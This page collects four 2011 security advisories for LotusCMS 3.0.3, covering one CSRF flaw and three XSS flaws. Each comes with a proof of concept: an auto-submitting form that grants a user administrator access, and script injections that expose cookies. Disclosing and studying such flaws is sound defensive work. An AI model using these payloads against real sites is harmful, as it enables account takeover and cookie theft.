ExploitFixes
LotusCMS 3.0.3 Multiple Vulnerabilities 2011-03-16 09:15:07

Vulnerability ID: HTB22886
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_lotuscms.html
Product: LotusCMS
Vendor: Arboroia Network ( http://www.lotuscms.org/ )
Vulnerable Version: 3.0.3 and probably prior versions
Vendor Notification: 01 March 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "core/model/UsersModel.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?system=Users&page=edit&active=USERNAME" method="post" name="main">
<input type="hidden" name="name" value="test">
<input type="hidden" name="email" value="email (at) example (dot) com [email concealed]">
<input type="hidden" name="password1" value="">
<input type="hidden" name="password2" value="">
<input type="hidden" name="access" value="administrator">
</form>
<script>
document.main.submit();
</script>

Vulnerability ID: HTB22887
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_3.html
Product: LotusCMS
Vendor: Arboroia Network ( http://www.lotuscms.org/ )
Vulnerable Version: 3.0.3 and probably prior versions
Vendor Notification: 01 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modules/Menu/MenuModuleAdmin.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?system=Modules&page=admin&active=Menu&req=
save&id=3" method="post" name="main">
<input type="hidden" name="title" value='lotus"><script>alert(document.cookie)</script>'>
<input type="hidden" name="external" value="http://host">
</form>
<script>
document.main.submit();
</script>

Vulnerability ID: HTB22885
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_2.html
Product: LotusCMS
Vendor: Arboroia Network ( http://www.lotuscms.org/ )
Vulnerable Version: 3.0.3 and probably prior versions
Vendor Notification: 01 March 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "core/model/PageModel.php" script to properly sanitize user-supplied input in "page" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

http://host/index.php?page=%00"><script>alert(document.cookie)</script>

Vulnerability ID: HTB22884
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_1.html
Product: LotusCMS
Vendor: Arboroia Network ( http://www.lotuscms.org/ )
Vulnerable Version: 3.0.3 and probably prior versions
Vendor Notification: 01 March 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "core/model/SEOModel.php" script to properly sanitize user-supplied input in "seodescription" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?system=SEO&page=edit" method="post" name="main">
<input type="hidden" name="seokeywords" value="LotusCMS">
<input type="hidden" name="seodescription" value='description"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>